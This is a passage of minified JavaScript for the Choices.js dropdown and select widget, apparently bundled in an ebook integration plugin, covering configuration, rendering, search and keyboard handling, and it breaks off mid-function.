packthub_ebook_integration-1.0.0/assets/js/choices.js

assets/js/choices.js
!function webpackUniversalModuleDefinition(root,factory){"object"==typeof exports&&"object"==typeof module?module.exports=factory():"function"==typeof define&&define.amd?define([],factory):"object"==typeof exports?exports.Choices=factory():root.Choices=factory()}(this,(function(){return function(modules){var installedModules={};function __webpack_require__(moduleId){if(installedModules[moduleId])return installedModules[moduleId].exports;var module=installedModules[moduleId]={exports:{},id:moduleId,loaded:!1};return modules[moduleId].call(module.exports,module,module.exports,__webpack_require__),module.loaded=!0,module.exports}return __webpack_require__.m=modules,__webpack_require__.c=installedModules,__webpack_require__.p="/assets/scripts/dist/",__webpack_require__(0)}([function(module,exports,__webpack_require__){module.exports=__webpack_require__(1)},function(module,exports,__webpack_require__){"use strict";var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}(),_fuse2=_interopRequireDefault(__webpack_require__(2)),_classnames2=_interopRequireDefault(__webpack_require__(3)),_index2=_interopRequireDefault(__webpack_require__(4)),_index3=__webpack_require__(31),_utils=__webpack_require__(32);function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}function _defineProperty(obj,key,value){return key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,obj}function _toConsumableArray(arr){if(Array.isArray(arr)){for(var i=0,arr2=Array(arr.length);i<arr.length;i++)arr2[i]=arr[i];return arr2}return Array.from(arr)}__webpack_require__(33);var Choices=function(){function Choices(){var element=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"[data-choice]",userConfig=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}(this,Choices),(0,_utils.isType)("String",element)){var elements=document.querySelectorAll(element);if(elements.length>1)for(var i=1;i<elements.length;i++){new Choices(elements[i],userConfig)}}var defaultConfig={silent:!1,items:[],choices:[],renderChoiceLimit:-1,maxItemCount:-1,addItems:!0,removeItems:!0,removeItemButton:!1,editItems:!1,duplicateItems:!0,delimiter:",",paste:!0,searchEnabled:!0,searchChoices:!0,searchFloor:1,searchResultLimit:4,searchFields:["label","value"],position:"auto",resetScrollPosition:!0,regexFilter:null,shouldSort:!0,shouldSortItems:!1,sortFilter:_utils.sortByAlpha,placeholder:!0,placeholderValue:null,searchPlaceholderValue:null,prependValue:null,appendValue:null,renderSelectedChoices:"auto",loadingText:"Loading...",noResultsText:"No results found",noChoicesText:"No choices to choose from",itemSelectText:"Press to select",addItemText:function addItemText(value){return'Press Enter to add <b>"'+(0,_utils.stripHTML)(value)+'"</b>'},maxItemText:function maxItemText(maxItemCount){return"Only "+maxItemCount+" values can be added."},itemComparer:function itemComparer(choice,item){return choice===item},uniqueItemText:"Only unique values can be added.",classNames:{containerOuter:"choices",containerInner:"choices__inner",input:"choices__input",inputCloned:"choices__input--cloned",list:"choices__list",listItems:"choices__list--multiple",listSingle:"choices__list--single",listDropdown:"choices__list--dropdown",item:"choices__item",itemSelectable:"choices__item--selectable",itemDisabled:"choices__item--disabled",itemChoice:"choices__item--choice",placeholder:"choices__placeholder",group:"choices__group",groupHeading:"choices__heading",button:"choices__button",activeState:"is-active",focusState:"is-focused",openState:"is-open",disabledState:"is-disabled",highlightedState:"is-highlighted",hiddenState:"is-hidden",flippedState:"is-flipped",loadingState:"is-loading",noResults:"has-no-results",noChoices:"has-no-choices"},fuseOptions:{include:"score"},callbackOnInit:null,callbackOnCreateTemplates:null};if(this.idNames={itemChoice:"item-choice"},this.config=(0,_utils.extend)(defaultConfig,userConfig),"auto"!==this.config.renderSelectedChoices&&"always"!==this.config.renderSelectedChoices&&(this.config.silent||console.warn("renderSelectedChoices: Possible values are 'auto' and 'always'. Falling back to 'auto'."),this.config.renderSelectedChoices="auto"),this.store=new _index2.default(this.render),this.initialised=!1,this.currentState={},this.prevState={},this.currentValue="",this.element=element,this.passedElement=(0,_utils.isType)("String",element)?document.querySelector(element):element,this.passedElement)if(this.isTextElement="text"===this.passedElement.type,this.isSelectOneElement="select-one"===this.passedElement.type,this.isSelectMultipleElement="select-multiple"===this.passedElement.type,this.isSelectElement=this.isSelectOneElement||this.isSelectMultipleElement,this.isValidElementType=this.isTextElement||this.isSelectElement,this.isIe11=!(!navigator.userAgent.match(/Trident/)||!navigator.userAgent.match(/rv[ :]11/)),this.isScrollingOnIe=!1,!0===this.config.shouldSortItems&&this.isSelectOneElement&&(this.config.silent||console.warn("shouldSortElements: Type of passed element is 'select-one', falling back to false.")),this.highlightPosition=0,this.canSearch=this.config.searchEnabled,this.placeholder=!1,this.isSelectOneElement||(this.placeholder=!!this.config.placeholder&&(this.config.placeholderValue||this.passedElement.getAttribute("placeholder"))),this.presetChoices=this.config.choices,this.presetItems=this.config.items,this.passedElement.value&&(this.presetItems=this.presetItems.concat(this.passedElement.value.split(this.config.delimiter))),this.baseId=(0,_utils.generateId)(this.passedElement,"choices-"),this.render=this.render.bind(this),this._onFocus=this._onFocus.bind(this),this._onBlur=this._onBlur.bind(this),this._onKeyUp=this._onKeyUp.bind(this),this._onKeyDown=this._onKeyDown.bind(this),this._onClick=this._onClick.bind(this),this._onTouchMove=this._onTouchMove.bind(this),this._onTouchEnd=this._onTouchEnd.bind(this),this._onMouseDown=this._onMouseDown.bind(this),this._onMouseOver=this._onMouseOver.bind(this),this._onPaste=this._onPaste.bind(this),this._onInput=this._onInput.bind(this),this.wasTap=!0,"classList"in document.documentElement||this.config.silent||console.error("Choices: Your browser doesn't support Choices"),(0,_utils.isElement)(this.passedElement)&&this.isValidElementType){if("active"===this.passedElement.getAttribute("data-choice"))return;this.init()}else this.config.silent||console.error("Incompatible input passed");else this.config.silent||console.error("Passed element not found")}return _createClass(Choices,[{key:"init",value:function init(){if(!0!==this.initialised){var callback=this.config.callbackOnInit;this.initialised=!0,this._createTemplates(),this._createInput(),this.store.subscribe(this.render),this.render(),this._addEventListeners(),callback&&(0,_utils.isType)("Function",callback)&&callback.call(this)}}},{key:"destroy",value:function destroy(){if(!1!==this.initialised){this._removeEventListeners(),this.passedElement.classList.remove(this.config.classNames.input,this.config.classNames.hiddenState),this.passedElement.removeAttribute("tabindex");var origStyle=this.passedElement.getAttribute("data-choice-orig-style");Boolean(origStyle)?(this.passedElement.removeAttribute("data-choice-orig-style"),this.passedElement.setAttribute("style",origStyle)):this.passedElement.removeAttribute("style"),this.passedElement.removeAttribute("aria-hidden"),this.passedElement.removeAttribute("data-choice"),this.passedElement.value=this.passedElement.value,this.containerOuter.parentNode.insertBefore(this.passedElement,this.containerOuter),this.containerOuter.parentNode.removeChild(this.containerOuter),this.clearStore(),this.config.templates=null,this.initialised=!1}}},{key:"renderGroups",value:function renderGroups(groups,choices,fragment){var _this=this,groupFragment=fragment||document.createDocumentFragment(),filter=this.config.sortFilter;return this.config.shouldSort&&groups.sort(filter),groups.forEach((function(group){var groupChoices=choices.filter((function(choice){return _this.isSelectOneElement?choice.groupId===group.id:choice.groupId===group.id&&!choice.selected}));if(groupChoices.length>=1){var dropdownGroup=_this._getTemplate("choiceGroup",group);groupFragment.appendChild(dropdownGroup),_this.renderChoices(groupChoices,groupFragment,!0)}})),groupFragment}},{key:"renderChoices",value:function renderChoices(choices,fragment){var _this2=this,withinGroup=arguments.length>2&&void 0!==arguments[2]&&arguments[2],choicesFragment=fragment||document.createDocumentFragment(),_config=this.config,renderSelectedChoices=_config.renderSelectedChoices,searchResultLimit=_config.searchResultLimit,renderChoiceLimit=_config.renderChoiceLimit,filter=this.isSearching?_utils.sortByScore:this.config.sortFilter,appendChoice=function appendChoice(choice){if("auto"!==renderSelectedChoices||(_this2.isSelectOneElement||!choice.selected)){var dropdownItem=_this2._getTemplate("choice",choice);choicesFragment.appendChild(dropdownItem)}},rendererableChoices=choices;"auto"!==renderSelectedChoices||this.isSelectOneElement||(rendererableChoices=choices.filter((function(choice){return!choice.selected})));var _rendererableChoices$=rendererableChoices.reduce((function(acc,choice){return choice.placeholder?acc.placeholderChoices.push(choice):acc.normalChoices.push(choice),acc}),{placeholderChoices:[],normalChoices:[]}),placeholderChoices=_rendererableChoices$.placeholderChoices,normalChoices=_rendererableChoices$.normalChoices;(this.config.shouldSort||this.isSearching)&&normalChoices.sort(filter);var choiceLimit=rendererableChoices.length,sortedChoices=[].concat(_toConsumableArray(placeholderChoices),_toConsumableArray(normalChoices));this.isSearching?choiceLimit=searchResultLimit:renderChoiceLimit>0&&!withinGroup&&(choiceLimit=renderChoiceLimit);for(var i=0;i<choiceLimit;i++)sortedChoices[i]&&appendChoice(sortedChoices[i]);return choicesFragment}},{key:"renderItems",value:function renderItems(items){var _this3=this,itemListFragment=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:null)||document.createDocumentFragment();if(this.config.shouldSortItems&&!this.isSelectOneElement&&items.sort(this.config.sortFilter),this.isTextElement){var itemsFilteredString=this.store.getItemsReducedToValues(items).join(this.config.delimiter);this.passedElement.setAttribute("value",itemsFilteredString),this.passedElement.value=itemsFilteredString}else{var selectedOptionsFragment=document.createDocumentFragment();items.forEach((function(item){var option=_this3._getTemplate("option",item);selectedOptionsFragment.appendChild(option)})),this.passedElement.innerHTML="",this.passedElement.appendChild(selectedOptionsFragment)}return items.forEach((function(item){var listItem=_this3._getTemplate("item",item);itemListFragment.appendChild(listItem)})),itemListFragment}},{key:"render",value:function render(){if(!this.store.isLoading()&&(this.currentState=this.store.getState(),this.currentState!==this.prevState)){if((this.currentState.choices!==this.prevState.choices||this.currentState.groups!==this.prevState.groups||this.currentState.items!==this.prevState.items)&&this.isSelectElement){var activeGroups=this.store.getGroupsFilteredByActive(),activeChoices=this.store.getChoicesFilteredByActive(),choiceListFragment=document.createDocumentFragment();this.choiceList.innerHTML="",this.config.resetScrollPosition&&(this.choiceList.scrollTop=0),activeGroups.length>=1&&!0!==this.isSearching?choiceListFragment=this.renderGroups(activeGroups,activeChoices,choiceListFragment):activeChoices.length>=1&&(choiceListFragment=this.renderChoices(activeChoices,choiceListFragment));var activeItems=this.store.getItemsFilteredByActive(),canAddItem=this._canAddItem(activeItems,this.input.value);if(choiceListFragment.childNodes&&choiceListFragment.childNodes.length>0)canAddItem.response?(this.choiceList.appendChild(choiceListFragment),this._highlightChoice()):this.choiceList.appendChild(this._getTemplate("notice",canAddItem.notice));else{var dropdownItem=void 0,notice=void 0;this.isSearching?(notice=(0,_utils.isType)("Function",this.config.noResultsText)?this.config.noResultsText():this.config.noResultsText,dropdownItem=this._getTemplate("notice",notice,"no-results")):(notice=(0,_utils.isType)("Function",this.config.noChoicesText)?this.config.noChoicesText():this.config.noChoicesText,dropdownItem=this._getTemplate("notice",notice,"no-choices")),this.choiceList.appendChild(dropdownItem)}}if(this.currentState.items!==this.prevState.items){var _activeItems=this.store.getItemsFilteredByActive();if(this.itemList.innerHTML="",_activeItems&&_activeItems){var itemListFragment=this.renderItems(_activeItems);itemListFragment.childNodes&&this.itemList.appendChild(itemListFragment)}}this.prevState=this.currentState}}},{key:"highlightItem",value:function highlightItem(item){var runEvent=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(!item)return this;var id=item.id,groupId=item.groupId,group=groupId>=0?this.store.getGroupById(groupId):null;return this.store.dispatch((0,_index3.highlightItem)(id,!0)),runEvent&&(group&&group.value?(0,_utils.triggerEvent)(this.passedElement,"highlightItem",{id:id,value:item.value,label:item.label,groupValue:group.value}):(0,_utils.triggerEvent)(this.passedElement,"highlightItem",{id:id,value:item.value,label:item.label})),this}},{key:"unhighlightItem",value:function unhighlightItem(item){if(!item)return this;var id=item.id,groupId=item.groupId,group=groupId>=0?this.store.getGroupById(groupId):null;return this.store.dispatch((0,_index3.highlightItem)(id,!1)),group&&group.value?(0,_utils.triggerEvent)(this.passedElement,"unhighlightItem",{id:id,value:item.value,label:item.label,groupValue:group.value}):(0,_utils.triggerEvent)(this.passedElement,"unhighlightItem",{id:id,value:item.value,label:item.label}),this}},{key:"highlightAll",value:function highlightAll(){var _this4=this;return this.store.getItems().forEach((function(item){_this4.highlightItem(item)})),this}},{key:"unhighlightAll",value:function unhighlightAll(){var _this5=this;return this.store.getItems().forEach((function(item){_this5.unhighlightItem(item)})),this}},{key:"removeItemsByValue",value:function removeItemsByValue(value){var _this6=this;return value&&(0,_utils.isType)("String",value)?(this.store.getItemsFilteredByActive().forEach((function(item){item.value===value&&_this6._removeItem(item)})),this):this}},{key:"removeActiveItems",value:function removeActiveItems(excludedId){var _this7=this;return this.store.getItemsFilteredByActive().forEach((function(item){item.active&&excludedId!==item.id&&_this7._removeItem(item)})),this}},{key:"removeHighlightedItems",value:function removeHighlightedItems(){var _this8=this,runEvent=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return this.store.getItemsFilteredByActive().forEach((function(item){item.highlighted&&item.active&&(_this8._removeItem(item),runEvent&&_this8._triggerChange(item.value))})),this}},{key:"showDropdown",value:function showDropdown(){var focusInput=arguments.length>0&&void 0!==arguments[0]&&arguments[0],body=document.body,html=document.documentElement,winHeight=Math.max(body.scrollHeight,body.offsetHeight,html.clientHeight,html.scrollHeight,html.offsetHeight);this.containerOuter.classList.add(this.config.classNames.openState),this.containerOuter.setAttribute("aria-expanded","true"),this.dropdown.classList.add(this.config.classNames.activeState),this.dropdown.setAttribute("aria-expanded","true");var dimensions=this.dropdown.getBoundingClientRect(),dropdownPos=Math.ceil(dimensions.top+window.scrollY+this.dropdown.offsetHeight),shouldFlip=!1;return"auto"===this.config.position?shouldFlip=dropdownPos>=winHeight:"top"===this.config.position&&(shouldFlip=!0),shouldFlip&&this.containerOuter.classList.add(this.config.classNames.flippedState),focusInput&&this.canSearch&&document.activeElement!==this.input&&this.input.focus(),(0,_utils.triggerEvent)(this.passedElement,"showDropdown",{}),this}},{key:"hideDropdown",value:function hideDropdown(){var blurInput=arguments.length>0&&void 0!==arguments[0]&&arguments[0],isFlipped=this.containerOuter.classList.contains(this.config.classNames.flippedState);return this.containerOuter.classList.remove(this.config.classNames.openState),this.containerOuter.setAttribute("aria-expanded","false"),this.dropdown.classList.remove(this.config.classNames.activeState),this.dropdown.setAttribute("aria-expanded","false"),isFlipped&&this.containerOuter.classList.remove(this.config.classNames.flippedState),blurInput&&this.canSearch&&document.activeElement===this.input&&this.input.blur(),(0,_utils.triggerEvent)(this.passedElement,"hideDropdown",{}),this}},{key:"toggleDropdown",value:function toggleDropdown(){return this.dropdown.classList.contains(this.config.classNames.activeState)?this.hideDropdown():this.showDropdown(!0),this}},{key:"getValue",value:function getValue(){var _this9=this,valueOnly=arguments.length>0&&void 0!==arguments[0]&&arguments[0],items=this.store.getItemsFilteredByActive(),selectedItems=[];return items.forEach((function(item){(_this9.isTextElement||item.active)&&selectedItems.push(valueOnly?item.value:item)})),this.isSelectOneElement?selectedItems[0]:selectedItems}},{key:"setValue",value:function setValue(args){var _this10=this;if(!0===this.initialised){var values=[].concat(_toConsumableArray(args)),handleValue=function handleValue(item){var itemType=(0,_utils.getType)(item);if("Object"===itemType){if(!item.value)return;_this10.isTextElement?_this10._addItem(item.value,item.label,item.id,void 0,item.customProperties,item.placeholder):_this10._addChoice(item.value,item.label,!0,!1,-1,item.customProperties,item.placeholder)}else"String"===itemType&&(_this10.isTextElement?_this10._addItem(item):_this10._addChoice(item,item,!0,!1,-1,null))};values.length>1?values.forEach((function(value){handleValue(value)})):handleValue(values[0])}return this}},{key:"setValueByChoice",value:function setValueByChoice(value){var _this11=this;if(!this.isTextElement){var choices=this.store.getChoices();((0,_utils.isType)("Array",value)?value:[value]).forEach((function(val){var foundChoice=choices.find((function(choice){return _this11.config.itemComparer(choice.value,val)}));foundChoice?foundChoice.selected?_this11.config.silent||console.warn("Attempting to select choice already selected"):_this11._addItem(foundChoice.value,foundChoice.label,foundChoice.id,foundChoice.groupId,foundChoice.customProperties,foundChoice.placeholder,foundChoice.keyCode):_this11.config.silent||console.warn("Attempting to select choice that does not exist")}))}return this}},{key:"setChoices",value:function setChoices(choices,value,label){var _this12=this,replaceChoices=arguments.length>3&&void 0!==arguments[3]&&arguments[3];if(!0===this.initialised&&this.isSelectElement){if(!(0,_utils.isType)("Array",choices)||!value)return this;replaceChoices&&this._clearChoices(),this._setLoading(!0),choices&&choices.length&&(this.containerOuter.classList.remove(this.config.classNames.loadingState),choices.forEach((function(result){result.choices?_this12._addGroup(result,result.id||null,value,label):_this12._addChoice(result[value],result[label],result.selected,result.disabled,void 0,result.customProperties,result.placeholder)}))),this._setLoading(!1)}return this}},{key:"clearStore",value:function clearStore(){return this.store.dispatch((0,_index3.clearAll)()),this}},{key:"clearInput",value:function clearInput(){return this.input.value&&(this.input.value=""),this.isSelectOneElement||this._setInputWidth(),!this.isTextElement&&this.config.searchEnabled&&(this.isSearching=!1,this.store.dispatch((0,_index3.activateChoices)(!0))),this}},{key:"enable",value:function enable(){this.initialised&&(this.passedElement.disabled=!1,this.containerOuter.classList.contains(this.config.classNames.disabledState)&&(this._addEventListeners(),this.passedElement.removeAttribute("disabled"),this.input.removeAttribute("disabled"),this.containerOuter.classList.remove(this.config.classNames.disabledState),this.containerOuter.removeAttribute("aria-disabled"),this.isSelectOneElement&&this.containerOuter.setAttribute("tabindex","0")));return this}},{key:"disable",value:function disable(){this.initialised&&(this.passedElement.disabled=!0,!this.containerOuter.classList.contains(this.config.classNames.disabledState)&&(this._removeEventListeners(),this.passedElement.setAttribute("disabled",""),this.input.setAttribute("disabled",""),this.containerOuter.classList.add(this.config.classNames.disabledState),this.containerOuter.setAttribute("aria-disabled","true"),this.isSelectOneElement&&this.containerOuter.setAttribute("tabindex","-1")));return this}},{key:"ajax",value:function ajax(fn){var _this13=this;return!0===this.initialised&&this.isSelectElement&&(requestAnimationFrame((function(){_this13._handleLoadingState(!0)})),fn(this._ajaxCallback())),this}},{key:"_triggerChange",value:function _triggerChange(value){value&&(0,_utils.triggerEvent)(this.passedElement,"change",{value:value})}},{key:"_handleButtonAction",value:function _handleButtonAction(activeItems,element){if(activeItems&&element&&this.config.removeItems&&this.config.removeItemButton){var itemId=element.parentNode.getAttribute("data-id"),itemToRemove=activeItems.find((function(item){return item.id===parseInt(itemId,10)}));this._removeItem(itemToRemove),this._triggerChange(itemToRemove.value),this.isSelectOneElement&&this._selectPlaceholderChoice()}}},{key:"_selectPlaceholderChoice",value:function _selectPlaceholderChoice(){var placeholderChoice=this.store.getPlaceholderChoice();placeholderChoice&&(this._addItem(placeholderChoice.value,placeholderChoice.label,placeholderChoice.id,placeholderChoice.groupId,null,placeholderChoice.placeholder),this._triggerChange(placeholderChoice.value))}},{key:"_handleItemAction",value:function _handleItemAction(activeItems,element){var _this14=this,hasShiftKey=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(activeItems&&element&&this.config.removeItems&&!this.isSelectOneElement){var passedId=element.getAttribute("data-id");activeItems.forEach((function(item){item.id!==parseInt(passedId,10)||item.highlighted?hasShiftKey||item.highlighted&&_this14.unhighlightItem(item):_this14.highlightItem(item)})),document.activeElement!==this.input&&this.input.focus()}}},{key:"_handleChoiceAction",value:function _handleChoiceAction(activeItems,element){if(activeItems&&element){var id=element.getAttribute("data-id"),choice=this.store.getChoiceById(id),passedKeyCode=activeItems[0]&&activeItems[0].keyCode?activeItems[0].keyCode:null,hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState);if(choice.keyCode=passedKeyCode,(0,_utils.triggerEvent)(this.passedElement,"choice",{choice:choice}),choice&&!choice.selected&&!choice.disabled)this._canAddItem(activeItems,choice.value).response&&(this._addItem(choice.value,choice.label,choice.id,choice.groupId,choice.customProperties,choice.placeholder,choice.keyCode),this._triggerChange(choice.value));this.clearInput(),hasActiveDropdown&&this.isSelectOneElement&&(this.hideDropdown(),this.containerOuter.focus())}}},{key:"_handleBackspace",value:function _handleBackspace(activeItems){if(this.config.removeItems&&activeItems){var lastItem=activeItems[activeItems.length-1],hasHighlightedItems=activeItems.some((function(item){return item.highlighted}));this.config.editItems&&!hasHighlightedItems&&lastItem?(this.input.value=lastItem.value,this._setInputWidth(),this._removeItem(lastItem),this._triggerChange(lastItem.value)):(hasHighlightedItems||this.highlightItem(lastItem,!1),this.removeHighlightedItems(!0))}}},{key:"_canAddItem",value:function _canAddItem(activeItems,value){var canAddItem=!0,notice=(0,_utils.isType)("Function",this.config.addItemText)?this.config.addItemText(value):this.config.addItemText;return(this.isSelectMultipleElement||this.isTextElement)&&this.config.maxItemCount>0&&this.config.maxItemCount<=activeItems.length&&(canAddItem=!1,notice=(0,_utils.isType)("Function",this.config.maxItemText)?this.config.maxItemText(this.config.maxItemCount):this.config.maxItemText),this.isTextElement&&this.config.addItems&&canAddItem&&this.config.regexFilter&&(canAddItem=this._regexFilter(value)),!activeItems.some((function(item){return(0,_utils.isType)("String",value)?item.value===value.trim():item.value===value}))||this.config.duplicateItems||this.isSelectOneElement||!canAddItem||(canAddItem=!1,notice=(0,_utils.isType)("Function",this.config.uniqueItemText)?this.config.uniqueItemText(value):this.config.uniqueItemText),{response:canAddItem,notice:notice}}},{key:"_handleLoadingState",value:function _handleLoadingState(){var setLoading=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],placeholderItem=this.itemList.querySelector("."+this.config.classNames.placeholder);setLoading?(this.containerOuter.classList.add(this.config.classNames.loadingState),this.containerOuter.setAttribute("aria-busy","true"),this.isSelectOneElement?placeholderItem?placeholderItem.innerHTML=this.config.loadingText:(placeholderItem=this._getTemplate("placeholder",this.config.loadingText),this.itemList.appendChild(placeholderItem)):this.input.placeholder=this.config.loadingText):(this.containerOuter.classList.remove(this.config.classNames.loadingState),this.isSelectOneElement?placeholderItem.innerHTML=this.placeholder||"":this.input.placeholder=this.placeholder||"")}},{key:"_ajaxCallback",value:function _ajaxCallback(){var _this15=this;return function(results,value,label){if(results&&value){var parsedResults=(0,_utils.isType)("Object",results)?[results]:results;parsedResults&&(0,_utils.isType)("Array",parsedResults)&&parsedResults.length?(_this15._handleLoadingState(!1),_this15._setLoading(!0),parsedResults.forEach((function(result){if(result.choices){var groupId=result.id||null;_this15._addGroup(result,groupId,value,label)}else _this15._addChoice(result[value],result[label],result.selected,result.disabled,void 0,result.customProperties,result.placeholder)})),_this15._setLoading(!1),_this15.isSelectOneElement&&_this15._selectPlaceholderChoice()):_this15._handleLoadingState(!1),_this15.containerOuter.removeAttribute("aria-busy")}}}},{key:"_searchChoices",value:function _searchChoices(value){var newValue=(0,_utils.isType)("String",value)?value.trim():value,currentValue=(0,_utils.isType)("String",this.currentValue)?this.currentValue.trim():this.currentValue;if(newValue.length>=1&&newValue!==currentValue+" "){var haystack=this.store.getSearchableChoices(),needle=newValue,keys=(0,_utils.isType)("Array",this.config.searchFields)?this.config.searchFields:[this.config.searchFields],options=Object.assign(this.config.fuseOptions,{keys:keys}),results=new _fuse2.default(haystack,options).search(needle);return this.currentValue=newValue,this.highlightPosition=0,this.isSearching=!0,this.store.dispatch((0,_index3.filterChoices)(results)),results.length}return 0}},{key:"_handleSearch",value:function _handleSearch(value){if(value){var hasUnactiveChoices=this.store.getChoices().some((function(option){return!option.active}));if(this.input===document.activeElement)if(value&&value.length>=this.config.searchFloor){var resultCount=0;this.config.searchChoices&&(resultCount=this._searchChoices(value)),(0,_utils.triggerEvent)(this.passedElement,"search",{value:value,resultCount:resultCount})}else hasUnactiveChoices&&(this.isSearching=!1,this.store.dispatch((0,_index3.activateChoices)(!0)))}}},{key:"_addEventListeners",value:function _addEventListeners(){document.addEventListener("keyup",this._onKeyUp),document.addEventListener("keydown",this._onKeyDown),document.addEventListener("click",this._onClick),document.addEventListener("touchmove",this._onTouchMove),document.addEventListener("touchend",this._onTouchEnd),document.addEventListener("mousedown",this._onMouseDown),document.addEventListener("mouseover",this._onMouseOver),this.isSelectOneElement&&(this.containerOuter.addEventListener("focus",this._onFocus),this.containerOuter.addEventListener("blur",this._onBlur)),this.input.addEventListener("input",this._onInput),this.input.addEventListener("paste",this._onPaste),this.input.addEventListener("focus",this._onFocus),this.input.addEventListener("blur",this._onBlur)}},{key:"_removeEventListeners",value:function _removeEventListeners(){document.removeEventListener("keyup",this._onKeyUp),document.removeEventListener("keydown",this._onKeyDown),document.removeEventListener("click",this._onClick),document.removeEventListener("touchmove",this._onTouchMove),document.removeEventListener("touchend",this._onTouchEnd),document.removeEventListener("mousedown",this._onMouseDown),document.removeEventListener("mouseover",this._onMouseOver),this.isSelectOneElement&&(this.containerOuter.removeEventListener("focus",this._onFocus),this.containerOuter.removeEventListener("blur",this._onBlur)),this.input.removeEventListener("input",this._onInput),this.input.removeEventListener("paste",this._onPaste),this.input.removeEventListener("focus",this._onFocus),this.input.removeEventListener("blur",this._onBlur)}},{key:"_setInputWidth",value:function _setInputWidth(){this.placeholder?this.input.value&&this.input.value.length>=this.placeholder.length/1.25&&(this.input.style.width=(0,_utils.getWidthOfInput)(this.input)):this.input.style.width=(0,_utils.getWidthOfInput)(this.input)}},{key:"_onKeyDown",value:function _onKeyDown(e){var _keyDownActions,_this16=this;if(e.target===this.input||this.containerOuter.contains(e.target)){var target=e.target,activeItems=this.store.getItemsFilteredByActive(),hasFocusedInput=this.input===document.activeElement,hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState),hasItems=this.itemList&&this.itemList.children,keyString=String.fromCharCode(e.keyCode),ctrlDownKey=e.ctrlKey||e.metaKey;this.isTextElement||!/[a-zA-Z0-9-_ ]/.test(keyString)||hasActiveDropdown||this.showDropdown(!0),this.canSearch=this.config.searchEnabled;var onDirectionKey=function onDirectionKey(){if(hasActiveDropdown||_this16.isSelectOneElement){hasActiveDropdown||_this16.showDropdown(!0),_this16.canSearch=!1;var directionInt=40===e.keyCode||34===e.keyCode?1:-1,nextEl=void 0;if(e.metaKey||34===e.keyCode||33===e.keyCode)nextEl=directionInt>0?Array.from(_this16.dropdown.querySelectorAll("[data-choice-selectable]")).pop():_this16.dropdown.querySelector("[data-choice-selectable]");else{var currentEl=_this16.dropdown.querySelector("."+_this16.config.classNames.highlightedState);nextEl=currentEl?(0,_utils.getAdjacentEl)(currentEl,"[data-choice-selectable]",directionInt):_this16.dropdown.querySelector("[data-choice-selectable]")}nextEl&&((0,_utils.isScrolledIntoView)(nextEl,_this16.choiceList,directionInt)||_this16._scrollToChoice(nextEl,directionInt),_this16._highlightChoice(nextEl)),e.preventDefault()}},onDeleteKey=function onDeleteKey(){!hasFocusedInput||e.target.value||_this16.isSelectOneElement||(_this16._handleBackspace(activeItems),e.preventDefault())},keyDownActions=(_defineProperty(_keyDownActions={},65,(function onAKey(){ctrlDownKey&&hasItems&&(_this16.canSearch=!1,_this16.config.removeItems&&!_this16.input.value&&_this16.input===document.activeElement&&_this16.highlightAll())})),_defineProperty(_keyDownActions,13,(function onEnterKey(){if(_this16.isTextElement&&target.value){var value=_this16.input.value;_this16._canAddItem(activeItems,value).response&&(hasActiveDropdown&&_this16.hideDropdown(),_this16._addItem(value),_this16._triggerChange(value),_this16.clearInput())}if(target.hasAttribute("data-button")&&(_this16._handleButtonAction(activeItems,target),e.preventDefault()),hasActiveDropdown){e.preventDefault();var highlighted=_this16.dropdown.querySelector("."+_this16.config.classNames.highlightedState);highlighted&&(activeItems[0]&&(activeItems[0].keyCode=13),_this16._handleChoiceAction(activeItems,highlighted))}else _this16.isSelectOneElement&&(hasActiveDropdown||(_this16.showDropdown(!0),e.preventDefault()))})),_defineProperty(_keyDownActions,27,(function onEscapeKey(){hasActiveDropdown&&(_this16.toggleDropdown(),_this16.containerOuter.focus())})),_defineProperty(_keyDownActions,38,onDirectionKey),_defineProperty(_keyDownActions,33,onDirectionKey),_defineProperty(_keyDownActions,40,onDirectionKey),_defineProperty(_keyDownActions,34,onDirectionKey),_defineProperty(_keyDownActions,8,onDeleteKey),_defineProperty(_keyDownActions,46,onDeleteKey),_keyDownActions);keyDownActions[e.keyCode]&&keyDownActions[e.keyCode]()}}},{key:"_onKeyUp",value:function _onKeyUp(e){if(e.target===this.input){var value=this.input.value,activeItems=this.store.getItemsFilteredByActive(),canAddItem=this._canAddItem(activeItems,value);if(this.isTextElement){var hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState);if(value){if(canAddItem.notice){var dropdownItem=this._getTemplate("notice",canAddItem.notice);this.dropdown.innerHTML=dropdownItem.outerHTML}!0===canAddItem.response?hasActiveDropdown||this.showDropdown():!canAddItem.notice&&hasActiveDropdown&&this.hideDropdown()}else hasActiveDropdown&&this.hideDropdown()}else{46!==e.keyCode&&8!==e.keyCode||e.target.value?this.canSearch&&canAddItem.response&&this._handleSearch(this.input.value):!this.isTextElement&&this.isSearching&&(this.isSearching=!1,this.store.dispatch((0,_index3.activateChoices)(!0)))}this.canSearch=this.config.searchEnabled}}},{key:"_onInput",value:function _onInput(){this.isSelectOneElement||this._setInputWidth()}},{key:"_onTouchMove",value:function _onTouchMove(){!0===this.wasTap&&(this.wasTap=!1)}},{key:"_onTouchEnd",value:function _onTouchEnd(e){var target=e.target||e.touches[0].target,hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState);!0===this.wasTap&&this.containerOuter.contains(target)&&(target!==this.containerOuter&&target!==this.containerInner||this.isSelectOneElement||(this.isTextElement?document.activeElement!==this.input&&this.input.focus():hasActiveDropdown||this.showDropdown(!0)),e.stopPropagation()),this.wasTap=!0}},{key:"_onMouseDown",value:function _onMouseDown(e){var 